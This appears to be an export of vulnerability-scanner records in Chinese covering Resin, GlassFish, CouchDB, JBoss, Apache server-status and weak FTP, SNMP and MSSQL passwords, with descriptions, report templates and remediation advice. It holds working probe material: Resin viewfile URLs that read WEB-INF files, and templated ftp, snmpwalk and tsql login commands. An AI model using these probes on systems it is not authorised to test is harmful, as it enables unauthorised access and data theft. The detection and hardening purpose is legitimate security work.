"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Resin是一款由Caucho Technology开发的WEB服务器，可使用在Microsoft Windos操作系统下。 Resin的某个CGI程序实现上存在输入验证漏洞，远程攻击者可能利用此漏洞读取Web主目录下的任意文件，包括JSP源码或类文件。 默认下Resin的/webapps目录下/resin-doc中包含有一个扩展war文件。该文档包含有用于在集成的手册中浏览文件的servlet： http://targetsystem/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftutorial%2Fbasic &servletpath=%2Findex.xtp &file=index.jsp &re-marker= &re-start= &re-end=#code-highlight viewfile servlet可以无需参数在Web主目录中浏览任意文件： http://targetsystem/resin-doc/viewfile/?file=index.jsp 攻击者可以设置resin-doc外的上下文路径，读取其他Web主目录的任意文件： http://targetsystem/resin-doc/viewfile/?contextpath=/otherwebapp &servletpath= &file=WEB-INF/web.xml 如果系统中安装了resin-doc就可能读取Web主目录中的所有文件，包括类文件，然后可以反编译这些文件浏览Java源代码： http://targetsystem/resin-doc/viewfile/?contextpath=/ &servletpath= &file=WEB-INF/classes/com/webapp/app/target.class 请求中错误的路径还会泄漏安装的绝对路径： File not found /C:/customer/sites/deploy/n/wwwroot/WEB-INF/classes/com/webapp/app/non-existant.class | CVE-2006-2437 | CVE-2006-2437: Caucho Resin 某CGI程序 输入验证漏洞 | http | 暂无 | f | 16/5/2006 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[] | null | f | CT-638969 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638969} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | FTP 弱口令漏洞是指使用 FTP 的用户系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击而造成非授权访问、下载资源等入侵行为。利用 FTP 弱口令漏洞可直接登录 FTP 服务，获取服务器资源，上传恶意文件，从而获取系统权限，并可能造成数据泄露，危害较大。 | null | 1. 通过以下命令尝试连接到 FTP 服务器：
```
ftp {{ detail.host }} -port {{ detail.port }}
```
2. 输入用户名：`{{ detail.username.value }}`和密码：`{{ detail.password.value }}`。
3. 如果登录成功，表示存在 FTP 弱口令未授权漏洞。 | FTP 弱口令漏洞 | ftp | 暂无 | f | 15/3/2021 10:27:11 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-157897 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157897} | low | 0 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache HTTPd 信息泄露漏洞指的是由于 Apache 设置不当，导致服务器状态暴露于公网。Apache 有一个 server-status 的功能，是为方便管理员检查服务器运行状态的。它是一个HTML页面，可以显示正在工作的进程数量，每个请求的状态，访问网站的客户端 ip 地址，正在被请求的页面。但是如果这个页面对公网开放，就会存在一些安全隐患，例如任何人可以看到网站访问者，甚至包括一些本来隐藏的管理页面。攻击者可以通过直接访问 /server-status 触发该漏洞，利用该漏洞泄露的信息攻击者可以扩大攻击面，进一步对网站发起攻击。 | null | 在浏览器访问：`http://{{ detail.addr }}/server-status`，如果可以访问到这个页面，并存在敏感信息，则证明该漏洞是存在的。 | Apache HTTPd 信息泄露漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
[] | null | f | CT-638980 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638980} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | SNMP（Simple Network Management Protocol）弱口令漏洞指的是在运行 SNMP 服务的设备上，由于管理员配置不当，使用了默认团体名或一个很简单的团体名，而被管理的主机是通过比较请求的团体名是否和自己保存的一致来决定是否提供相应的服务，即团体名相当于一个认证的口令。攻击者可以通过该团体名获取到设备的敏感信息，包括系统运行的进程、已安装的软件、系统存在的用户、运行的服务、端口情况等。通过这些信息，攻击者可以清晰的了解到设备整体情况。根据开放的端口和服务快速定位可入侵点；根据运行的进程名判断是否存在哪些防护软件，有什么绕过的方法；根据存在的用户名，可以大大提高爆破效率等等，对系统安全的危害较大。 | null | 通过以下命令获取想要的设备信息：
```
snmpwalk -v {{ detail.version }} -c {{ detail.password.value }} {{ detail.host }} {{ detail.oid }}
```
如果能获取到对应的设备信息，表示存在该漏洞。 | SNMP 弱口令漏洞 | snmp | 暂无 | f | 11/3/2021 08:09:08 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-638066 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638066} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | MSSQL 弱口令指的是在 MSSQL 数据库系统中对应的帐号使用的口令为弱口令的情况。该种情况下数据库账户的口令很容易被爆破工具暴力破解而对数据库进行未授权访问，一旦被恶意利用来登录系统，会导致数据泄露、篡改。如果得到了 root 权限登录 MSSQL 服务器，则可以写入恶意文件，危害更大。 | null | 利用 MSSQL 客户端通过以下命令尝试连接到 MSSQL 的服务端口：
```
tsql -H {{ detail.host }} -p {{ detail.port }} -U {{ detail.username.field }} -P {{ detail.password.value }}
```
如果成功登录到 MSSQL 服务器，表示存在 MSSQL 弱口令漏洞。 | MSSQL 弱口令漏洞 | msql | 暂无 | f | 15/3/2021 10:27:12 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-157903 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157903} | high | 0 | null | 如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | GlassFish 是一款用于构建 Java EE 的应用服务组件。2015年10月，被爆出通用任意文件读取漏洞。利用这个漏洞，攻击者可读取服务器上任意文件。
Java 语义中会把 "%c0%ae" 解析为 "\uC0AE"，最后转义为 ASCCII 字符的 "." 。GlassFish 文件读取漏洞攻击就是通过 Java 语言中的这个特殊转换直接跳转目录，实现文件的任意遍历、读取。该漏洞危害基本上等同于源代码泄露，各种敏感信息暴露无遗。且该漏洞殃及面较广，漏洞的一大半服务都存在于某著名云服务商的服务器集群中。 | null | 查看 Glassfish 的版本信息是否在漏洞影响范围内，如果在范围内则说明漏洞存在。 | GlassFish 文件读取漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有 “../”、“..\”、“%00”，“..”，“./”，“#” 等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.7.0"}, {"cpe23Uri": "cpe:2.3:a:apache:couchdb:2.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:couchdb:2.0.0:rc1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:couchdb:2.0.0:rc2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:couchdb:2.0.0:rc3:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:couchdb:2.0.0:rc4:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-147 | CNNVD-201711-487 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 101868 | t | {CT-147,CVE-2017-12635,CNVD-2017-34233,CNNVD-201711-487,101868} | critical | 9.8 | CNVD-2017-34233 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache CouchDB是美国阿帕奇（Apache）软件基金会的一个免费、开源、面向文档的数据库，是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。 | CVE-2017-12635 | CVE-2017-12635: CouchDB 越权创建管理员漏洞 | http | 暂无 | f | 14/11/2017 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[] | null | f | CT-157912 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157912} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | CouchDB 未授权访问指的是由于 CouchDB 默认在 5984 端口开放 Restful 的 API 接口，用于数据库的管理功能，而其 HTTP Server 默认开启时没有进行验证或用于身份验证的口令为弱口令，而且绑定在 0.0.0.0，所有用户均可通过 API 访问导致未授权访问。该漏洞允许任何连接到服务器端口上的人，都可以调用相关 API 对服务器上的数据进行任意的增删改查，其中通过 API 修改 local.ini 配置文件，可进一步导致执行任意系统命令，获取服务器权限，危害十分严重。 | null | 通过浏览器访问如下 url 的 `/_membership/`路径：
```
{{ detail.addr }}
```
如果能成功访问页面则表示存在该漏洞。 | CouchDB 未授权访问漏洞 | couchdb | 暂无 | f | 11/3/2021 08:09:10 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157916 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{% else %}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% endif %} | null | t | {CT-157916} | high | 0 | null | 暂无 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | JBoss JMXInvokerServlet 反序列化漏洞指的是 JBoss 在 `/invoker/JMXInvokerServlet` 请求中读取了用户传入的对象，然后可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。在反序列化时并没有限制实例化对象的类型，导致可以任意构造应用中已经包含的对象利用反序列化操作进行实例化，通过构造恶意的实例化对象，即可触发该漏洞，利用此漏洞攻击者可以在网站服务器执行恶意代码，造成网站服务器的数据泄漏、被修改，甚至服务器被攻击者控制的后果，危害很大。 | null | 在浏览器访问如下目标：
```
{{ detail.addr }}
```
将访问路径设置为 `/invoker/JMXInvokerServlet`，如果成功返回系统相关信息，即可确定存在该漏洞。 | JBoss JMXInvokerServlet 反序列化漏洞 | http | 暂无 | f | 15/3/2021 10:27:08 | 1. 建议升级系统至最新版本；
2. 部署长亭科技 Web 应用防火墙。 |
[] | null | f | CT-638054 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
